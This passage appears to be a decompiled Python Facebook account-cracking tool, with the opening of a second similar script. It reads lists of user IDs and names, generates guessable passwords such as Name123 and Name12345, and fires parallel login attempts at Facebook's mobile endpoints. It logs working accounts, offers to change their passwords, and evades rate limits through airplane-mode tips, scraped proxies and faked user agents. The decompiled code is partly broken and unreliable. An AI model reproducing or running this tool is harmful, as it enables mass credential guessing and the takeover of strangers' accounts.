(%sRecommended%s)' % (H, N, H, N)) 263 | 264 | 265 | def loading(): 266 | animation = [ 267 | '[\x1b[1;91mâ– \x1b[0mâ–¡â–¡â–¡â–¡â–¡â–¡â–¡â–¡â–¡]', 268 | '[\x1b[1;92mâ– â– \x1b[0mâ–¡â–¡â–¡â–¡â–¡â–¡â–¡â–¡]', 269 | '[\x1b[1;93mâ– â– â– \x1b[0mâ–¡â–¡â–¡â–¡â–¡â–¡â–¡]', 270 | '[\x1b[1;94mâ– â– â– â– \x1b[0mâ–¡â–¡â–¡â–¡â–¡â–¡]', 271 | '[\x1b[1;95mâ– â– â– â– â– \x1b[0mâ–¡â–¡â–¡â–¡â–¡]', 272 | '[\x1b[1;96mâ– â– â– â– â– â– \x1b[0mâ–¡â–¡â–¡â–¡]', 273 | '[\x1b[1;97mâ– â– â– â– â– â– â– \x1b[0mâ–¡â–¡â–¡]', 274 | '[\x1b[1;98mâ– â– â– â– â– â– â– â– \x1b[0mâ–¡â–¡]', 275 | '[\x1b[1;99mâ– â– â– â– â– â– â– â– â– \x1b[0mâ–¡]', 276 | '[\x1b[1;910mâ– â– â– â– â– â– â– â– â– â– \x1b[0m]'] 277 | for i in range(50): 278 | time.sleep(0.1) 279 | sys.stdout.write(f'''\r {N}[{H}•{N}] {H}Loading...{N} ''' + animation[i % len(animation)] + '\x1b[0m ') 280 | sys.stdout.flush() 281 | print('') 282 | 283 | 284 | def logo(): 285 | print('\x1b[0;95m●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●\x1b[1;37m๑۩♡۩๑\x1b[0;95m●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●\n\x1b[1;30m\n ▉▉▉▉\n ▂▉▉▉▉▂\n \x1b[1;33m╰▏ ┛┗ ▕╯\n ╲ 👅 ╱\n \x1b[1;32m╱▔╲╱▔╲\n ╱ ╱▏╭╮▕╲ ╲\n ╲ ╲▏╭╮▕╱ ╱ \x1b[1;35m╔═╗ ╔╦╗ ╔═╗\n \x1b[1;35m ╲▉▉▉▉╱ \x1b[1;32m╠═╣ ║ ╠╣\n \x1b[1;34m ▏╭╮▕ \x1b[1;33m╩ ╩ ╩ ╚ \n \x1b[1;34m ▏▏▕▕\n ▏▏▕▕\n \x1b[1;31m ╭╰ ╮╭╰ ╮\n \x1b[1;39msᴜʙ \x1b[1;35mᴋᴀ \x1b[1;36mʙᴀᴀᴘ\n\x1b[0;95m●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●\x1b[1;37m๑۩♡۩๑\x1b[0;95m●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●\n\x1b[0;92m\n \x1b[1;31m██████╗██╗ ██╗ █████╗ ███╗ ██╗██████╗ \n\x1b[1;32m██╔════╝██║ ██║██╔══██╗████╗ ██║██╔══██╗\n\x1b[1;33m██║ ███████║███████║██╔██╗ ██║██║ ██║\n\x1b[1;34m██║ ██╔══██║██╔══██║██║╚██╗██║██║ ██║\n\x1b[1;35m╚██████╗██║ ██║██║ ██║██║ ╚████║██████╔╝\n \x1b[1;31m╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ \n\x1b[0;95m꜍●꜉\x1b[1;32m꜍█꜉\x1b[1;33m꜍█꜉\x1b[1;34m꜍█꜉\x1b[1;35m꜍█꜉\x1b[1;36m꜍█꜉\x1b[1;37m꜍█꜉\x1b[1;31m꜍█꜉\x1b[1;32m꜍█꜉\x1b[1;33m꜍█꜉\x1b[1;34m꜍█꜉\x1b[1;35m꜍█꜉\x1b[1;36m꜍█꜉\x1b[1;37m꜍█꜉\n\n\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇ \x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇\n\n\x1b[1;39m━▷ \x1b[0;91m𝙊𝙒𝙉𝙀𝙍 \x1b[1;39m◈✙◈\x1b[1;33m MR CHAND\n\x1b[1;39m━▷ \x1b[0;91m𝙏𝙀𝘼𝙈 \x1b[1;39m◈✙◈\x1b[1;31m TEAM OF ATF\n\x1b[1;39m━▷ \x1b[0;91m𝙔𝙊𝙐𝙏𝙐𝘽𝙀 \x1b[1;39m◈✙◈ \x1b[1;32mCHAND TRICKER\n\x1b[1;39m━▷ \x1b[0;91m𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆 \x1b[1;39m◈✙◈ \x1b[1;33mCHAND.YT.786\n\x1b[1;39m━▷ \x1b[0;91m𝙁𝘽 𝙂𝙍𝙊𝙐𝙋 \x1b[1;39m◈✙◈ \x1b[1;34mFACEBOOK ZONE 🙂🙈\n\x1b[1;39m━▷ \x1b[0;91m𝙎𝘼𝙏𝙐𝙏𝘼𝙎 \x1b[1;39m◈✙◈ \x1b[0;92mFREE AND ENJOY\n\x1b[1;39m━▷ \x1b[0;91m𝙑𝙀𝙍𝙎𝙄𝙊𝙉 \x1b[1;39m◈✙◈ \x1b[1;31m2.1\n\x1b[1;39m━▷ \x1b[1;36m𝙁𝙀𝙀𝙇 𝙏𝙃𝙀 𝙋𝙊𝙒𝙀𝙍 𝙊𝙁 𝘾𝙃𝘼𝙉𝘿 𝙊𝙒𝙉𝙀𝙍 𝙊𝙁 𝘼𝙏𝙁\n\n\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇ \x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇\n\n\x1b[0;95m꜍●꜉\x1b[1;32m꜍█꜉\x1b[1;33m꜍█꜉\x1b[1;34m꜍█꜉\x1b[1;35m꜍█꜉\x1b[1;36m꜍█꜉\x1b[1;37m꜍█꜉\x1b[1;31m꜍█꜉\x1b[1;32m꜍█꜉\x1b[1;33m꜍█꜉\x1b[1;34m꜍█꜉\x1b[1;35m꜍█꜉\x1b[1;36m꜍█꜉\x1b[1;37m꜍█꜉\n\n\x1b[0;95m●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●\x1b[1;37m๑۩♡۩๑\x1b[0;95m●▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬●') 286 | 287 | 288 | def hasil(ok, cp): 289 | if len(ok) != 0 or len(cp) != 0: 290 | print('\n%s●꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉●꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉\n [%s✓%s] %sCracking By JIBON Usercrack...\n%s●꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉●꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉꜍█꜉' % (N, H, N, H, N)) 291 | print(' %s[%s+%s] Number of Accounts OK : %s%s%s' % (H, H, H, H, str(len(ok)), H)) 292 | print(' [%s+%s] Number of Accounts CP : %s%s%s' % (H, H, H, str(len(cp)), H)) 293 | cek_cp = input(f'''{H}══════════════════════════════════════════\n [{H}+{H}] Show CP detector options [{H}Y{N}/{M}t{N}]: ''') 294 | if cek_cp == '': 295 | print(f'''\n [{M}!{N}] Don\'t be empty''') 296 | hasil(ok, cp) 297 | return None 298 | if None in ('Y', 'y'): 299 | jalan(f''' {N}[{M}!{N}] Play airplanemode first''') 300 | time.sleep(5) 301 | ww = input(f'''\n {N}[{K}?{N}] Change password when {BM}TAP YES{N} [{H}Y{N}/{M}t{N}]: ''') 302 | if ww in ('Y', 'y', 'ya'): 303 | ubahP.append('y') 304 | print(f''' {N}[{H}•{N}] Password example : {H}JIBON123{N}''') 305 | pwBar = input(f''' {N}[{K}?{N}] Enter new password : {H}''') 306 | if len(pwBar) <= 5: 307 | print('\n %s[%s×%s] Password minimum 6 characters' % (N, M, N)) 308 | else: 309 | pwBaru.append(pwBar) 310 | for memek in cp: 311 | kontol = memek.replace('\n', '') 312 | titid = kontol.split(' • ') 313 | print(f'''{N}══════════════════════════════════════════\n {H}LOGIN PROCESS''') 314 | jalan(f''' {N}[{M}?{N}] Account : {K}{kontol.replace('[CHAND-CP] ', '')}{N}''') 315 | 316 | try: 317 | log_hasil(titid[0].replace('[JIBON-CP] ', ''), titid[1]) 318 | finally: 319 | continue 320 | if requests.exceptions.ConnectionError: 321 | continue 322 | print('') 323 | jalan(' %s[%s✓%s] %sChecking process is complete%s' % (N, H, N, H, N)) 324 | jalan(' %s[%s✓%s] Retrun SC type "%spython UserCrack.py%s"' % (N, H, N, H, N)) 325 | exit() 326 | return None 327 | if cek_cp in ('T', 't'): 328 | jalan(f'''\n {N}[{H}•{N}] {N}Ok, thank you. Retrun SC type \'{H}python UserCrack.py{N}\'''') 329 | exit() 330 | return None 331 | None(f'''\n {N}[{M}!{N}] Choose Y/t''') 332 | hasil(ok, cp) 333 | return None 334 | jalan('\n\n %s[%s!%s] Sorry you didnt get results' % (N, M, N)) 335 | exit() 336 | return None 337 | 338 | 339 | 340 | def cek_apk(session, coki): 341 | w = session.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=active', { 342 | 'cookie': coki }, **('cookies',)).text 343 | sop = BeautifulSoup(w, 'html.parser') 344 | x = sop.find('form', 'post', **('method',)) 345 | game = (lambda .0: [ i.text for i in .0 ])(x.find_all('h3')) 346 | if len(game) == 0: 347 | print('\r %s[%s!%s] %sSorry there is no Active Apk%s ' % (N, M, N, M, N)) 348 | else: 349 | print('\r 🎮 %sYour Active Application Details :' % H) 350 | for i in range(len(game)): 351 | print('\r %s%s. %s%s' % (N, i + 1, game[i].replace('Ditambahkan pada', ' Ditambahkan pada'), N)) 352 | w = session.get('https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive', { 353 | 'cookie': coki }, **('cookies',)).text 354 | sop = BeautifulSoup(w, 'html.parser') 355 | x = sop.find('form', 'post', **('method',)) 356 | game = (lambda .0: [ i.text for i in .0 ])(x.find_all('h3')) 357 | if len(game) == 0: 358 | print('\r %s[%s!%s] %sSorry no Expired Apk%s \n' % (N, M, N, M, N)) 359 | return None 360 | None('\r 🎮 %sYour Expired Application Details :' % M) 361 | for i in range(len(game)): 362 | print('\r %s%s. %s%s' % (N, i + 1, game[i].replace('Kedaluwarsa', ' Kedaluwarsa'), N)) 363 | print('\r') 364 | 365 | 366 | def file(): 367 | logo() 368 | print('') 369 | print('\x1b[1;33m [01] \x1b[1;39m━▷ \x1b[1;32mFile Clone ') 370 | key = input('\n \x1b[1;33m[+] \x1b[1;39m━▷ \x1b[1;32mSelect One : ') 371 | if key in ('',): 372 | print(' [!] please select correct option') 373 | exit() 374 | return None 375 | if None in ('1', '01'): 376 | __chigoue__().chi(id) 377 | return None 378 | 379 | 380 | class __chigoue__: 381 | 382 | def __init__(self): 383 | self.id = [] 384 | 385 | 386 | def chi(self, id): 387 | os.system('xdg-open https://youtube.com/channel/UCPErGt_PlIcbobfyCwle9HA') 388 | os.system('clear') 389 | logo() 390 | crot = input(f'''\x1b[1;37m{H}[{H}+{H}] Want to show related apps [{H}\x1b[1;33my{H}\x1b[1;37m/{H}\x1b[1;33mt{H}]: ''') 391 | if crot in ('',): 392 | print(f''' {N}[{M}×{N}] Don\'t be empty''') 393 | __chigoue__().chi(id) 394 | elif crot in ('Y', 'y'): 395 | Apk.append('y') 396 | elif crot in ('T', 't'): 397 | Apk.append('t') 398 | else: 399 | print(f''' {H}[{H}×{H}] Select Between y/t''') 400 | __chigoue__().chi(id) 401 | self.cnt = input('\x1b[1;37m[+] \x1b[1;33mENTER FILE NAME :\x1b[1;92m ') 402 | self.id = open(self.cnt).read().splitlines() 403 | os.system('xdg-open https://youtube.com/channel/UCPErGt_PlIcbobfyCwle9HA') 404 | os.system('clear') 405 | ___two___ = 'y' 406 | if ___two___ in ('yes', 'Yes', 'Y', 'y'): 407 | self.__pler__() 408 | return None 409 | None(' [!] Choose Correct One') 410 | self.chi(id) 411 | os.system('clear') 412 | 413 | 414 | def __metode__(self, cebok, user, pasw): 415 | animasi = random.choice([ 416 | '\x1b[1;92m[CHAND]', 417 | '\x1b[1;92m[CHAND]', 418 | '\x1b[1;92m[CHAND]', 419 | '\x1b[1;92m[CHAND]', 420 | '\x1b[1;92m[CHAND]', 421 | '\x1b[1;92m[CHAND]', 422 | '\x1b[1;92m[CHAND]']) 423 | sys.stdout.write(f'''\r {N}{animasi} {N}{loop}{N}/{M}{len(self.id)} {N}[{H}OK:{len(ok)}{N}][{K}CP:{len(cp)}{N}] [{H}{'{:.1%}'.format(loop / float(len(self.id)))}{N}]''') 424 | sys.stdout.flush() 425 | # WARNING: Decompyle incomplete 426 | 427 | 428 | def __pler__(self): 429 | os.system('xdg-open http://Wa.me/+923315792290') 430 | logo() 431 | print('\x1b[1;39m━▷ \x1b[1;32m[1] \x1b[1;39m◈✙◈ \x1b[1;33mMethod \x1b[1;32m{1}') 432 | print('\x1b[1;39m━▷ \x1b[1;32m[2] \x1b[1;39m◈✙◈ \x1b[1;33mMethod \x1b[1;32m{2}') 433 | print('\x1b[1;39m━▷ \x1b[1;32m[3] \x1b[1;39m◈✙◈ \x1b[1;33mMethod \x1b[1;32m{3}') 434 | print('\x1b[1;39m꜍●꜉\x1b[1;32m꜍█꜉\x1b[1;33m꜍█꜉\x1b[1;34m꜍█꜉\x1b[1;35m꜍█꜉\x1b[1;36m꜍█꜉\x1b[1;37m꜍█꜉\x1b[1;31m꜍█꜉\x1b[1;32m꜍█꜉\x1b[1;33m꜍█꜉\x1b[1;34m꜍█꜉\x1b[1;35m꜍█꜉\x1b[1;36m꜍█꜉\x1b[1;37m꜍█꜉') 435 | yan = input('\n%s\x1b[1;37m[%s\x1b[1;37m+%s\x1b[1;37m] \x1b[1;33mSelect Method \x1b[1;31m: ' % (H, H, H)) 436 | if yan == '': 437 | print('\n %s[%s×%s] Sorry, it is wrong...!' % (N, M, N)) 438 | self.__pler__() 439 | return None 440 | if None in ('1', '01'): 441 | xx = 'free.facebook.com' 442 | self.kombinasi_pw(xx) 443 | return None 444 | if None in ('2', '02'): 445 | xx = 'mbasic.facebook.com' 446 | self.kombinasi_pw(xx) 447 | return None 448 | if None in ('3', '03'): 449 | xx = 'm.facebook.com' 450 | self.kombinasi_pw(xx) 451 | return None 452 | None('\n %s[%s×%s] Sorry, it is wrong...!' % (N, M, N)) 453 | self.__pler__() 454 | 455 | 456 | def kombinasi_pw(self, url): 457 | print('%s\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇\n %sPASSWORD MENU%s' % (H, H, H)) 458 | print('%s\x1b[1;37m[%s\x1b[1;37m1%s\x1b[1;37m] \x1b[1;35mName,Name123,Name12345' % (H, H, H)) 459 | print('%s\x1b[1;37m[%s\x1b[1;37m2%s\x1b[1;37m] \x1b[1;36mName,Name123,Name1234,Name12345' % (H, H, H)) 460 | print('\x1b[1;32mBE \x1b[1;33mHAPPY \x1b[1;34mAND \x1b[1;35mSUPPORT \x1b[1;37mME') 461 | pw = input(f'''\n{H}\x1b[1;37m[{H}\x1b[1;37m+{H}\x1b[1;37m] \x1b[1;33mSelect Password Method : ''') 462 | if pw in ('',): 463 | print(f''' {N}[{M}!{N}] Don\'t be empty''') 464 | self.kombinasi_pw(url) 465 | return None 466 | if None in ('1', '01'): 467 | print('%s\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇\n[%s\x1b[1;37m+%s\x1b[1;37m] OK : results/OK-%s-%s-%s.txt' % (H, H, H, ha, op, ta)) 468 | print('%s[%s+%s] CP : results/CP-%s-%s-%s.txt' % (H, H, H, ha, op, ta)) 469 | print('%s\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇\n\x1b[1;37m[%s\x1b[1;37m!%s\x1b[1;37m] \x1b[1;36mUse Airplane Mode If You No Result\n\x1b[1;37m[%s\x1b[1;37m!%s\x1b[1;37m] \x1b[1;35mEvery 500 Id After Use Airplane Mode\n \x1b[1;37m[%s\x1b[1;37m!%s\x1b[1;37m] \x1b[1;35mTo stop %sCTRL+z%s on keyboard\n\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇' % (H, H, H, H, H, H, H, H, H)) 470 | with YayanGanteng(35, **('max_workers',)) as kirim: 471 | for yntkts in self.id: 472 | 473 | try: 474 | (uid, name) = yntkts.split('|') 475 | xz = name.split(' ') 476 | if len(xz) == 3 and len(xz) == 4 and len(xz) == 5 or len(xz) == 6: 477 | pwx = [ 478 | name, 479 | xz[0] + xz[1], 480 | xz[0] + '123'] 481 | else: 482 | pwx = [ 483 | name, 484 | xz[0] + xz[1], 485 | xz[0] + '123'] 486 | kirim.submit(self.__metode__, url, uid, pwx) 487 | finally: 488 | continue 489 | continue 490 | None(None, None, None) 491 | if not None: 492 | pass 493 | 494 | hasil(ok, cp) 495 | return None 496 | if pw in ('2', '02'): 497 | print('%s\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇\n[%s+%s] \x1b[1;32mOK : results/OK-%s-%s-%s.txt' % (H, H, H, ha, op, ta)) 498 | print('%s\x1b[1;37m[%s\x1b[1;37m+%s\x1b[1;37m] \x1b[1;33mCP : results/CP-%s-%s-%s.txt' % (H, H, H, ha, op, ta)) 499 | print('%s\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇\n\x1b[1;37m[%s\x1b[1;37m!%s\x1b[1;37m] \x1b[1;36mUse Airplane Mode If You Result\n\x1b[1;37m[%s\x1b[1;37m!%s\x1b[1;37m] \x1b[1;31mAfter 500 Id Crack Use Airplane Mode\n\x1b[1;37m[%s\x1b[1;37m!%s\x1b[1;37m] \x1b[1;34mTo stop %sCTRL+z%s on keyboard\n\x1b[1;37m▇ \x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅\x1b[1;37m▅\x1b[1;30m▅\x1b[1;31m▅\x1b[1;32m▅\x1b[1;33m▅\x1b[1;34m▅\x1b[1;35m▅\x1b[1;36m▅ \x1b[1;37m▇' % (H, H, H, H, H, H, H, H, H)) 500 | with YayanGanteng(35, **('max_workers',)) as kirim: 501 | for yntkts in self.id: 502 | 503 | try: 504 | (uid, name) = yntkts.split('|') 505 | xz = name.split(' ') 506 | if len(xz) == 3 and len(xz) == 4 and len(xz) == 5 or len(xz) == 6: 507 | pwx = [ 508 | name, 509 | xz[0] + '123', 510 | xz[0] + '1234', 511 | xz[0] + '12345', 512 | xz[0] + xz[1]] 513 | else: 514 | pwx = [ 515 | name, 516 | xz[0] + '123', 517 | xz[0] + '1234', 518 | xz[0] + '12345', 519 | xz[0] + xz[1]] 520 | kirim.submit(self.__metode__, url, uid, pwx) 521 | finally: 522 | continue 523 | continue 524 | None(None, None, None) 525 | if not None: 526 | pass 527 | 528 | print(f'''\n {N}[{M}!{N}] Correct input''') 529 | self.kombinasi_pw(url) 530 | return None 531 | return None 532 | 533 | 534 | if __name__ == '__main__': 535 | file() 536 | return None 537 | return None 538 | 539 | 540 | -------------------------------------------------------------------------------- /FUCK_KAUSAR.py: -------------------------------------------------------------------------------- 1 | # Source Generated with Decompyle++ 2 | # File: rexm.pyc (Python 3.10) RANI 3 | #https://youtube.com/channel/UCbT--Z1XzQpSUgjD6bfzzUA 4 | #-----------------[ IMPORT-MODULE ]------------------- 5 | from bs4 import BeautifulSoup as sop 6 | import requests,bs4,json,os,sys,random,datetime,time,re 7 | import urllib3,rich,base64 8 | from rich.table import Table as me 9 | from rich.console import Console as sol 10 | from bs4 import BeautifulSoup as sop 11 | from concurrent.futures import ThreadPoolExecutor as tred 12 | from rich.console import Group as gp 13 | from rich.panel import Panel as nel 14 | from rich import print as cetak 15 | from rich.markdown import Markdown as mark 16 | from rich.columns import Columns as col 17 | from rich import print as rprint 18 | from rich import pretty 19 | from rich.text import Text as tekz 20 | import time 21 | from datetime import date 22 | from datetime import datetime 23 | from time import sleep 24 | from time import sleep as waktu 25 | pretty.install() 26 | CON=sol() 27 | 28 | now = datetime.now() 29 | dt_string = now.strftime("%H:%M") 30 | current = datetime.now() 31 | ta = current.year 32 | bu = current.month 33 | ha = current.day 34 | 35 | #------------------[ USER-AGENT ]-------------------# 36 | ugen2=[] 37 | ugen=[] 38 | cokbrut=[] 39 | ses=requests.Session() 40 | princp=[] 41 | try: 42 | prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text 43 | open('.prox.txt','w').write(prox) 44 | except Exception as e: 45 | print(' \x1b[1;91m\x1b[1;96m\x1b[1;92m \x1b[1;96m[Mr.KAUSAR]') 46 | prox=open('.prox.txt','r').read().splitlines() 47 | for xd in range(10000): 48 | a='Mozilla/5.0 (Symbian/3; Series60/' 49 | b=random.randrange(1, 9) 50 | c=random.randrange(1, 9) 51 | d='Nokia' 52 | e=random.randrange(100, 9999) 53 | 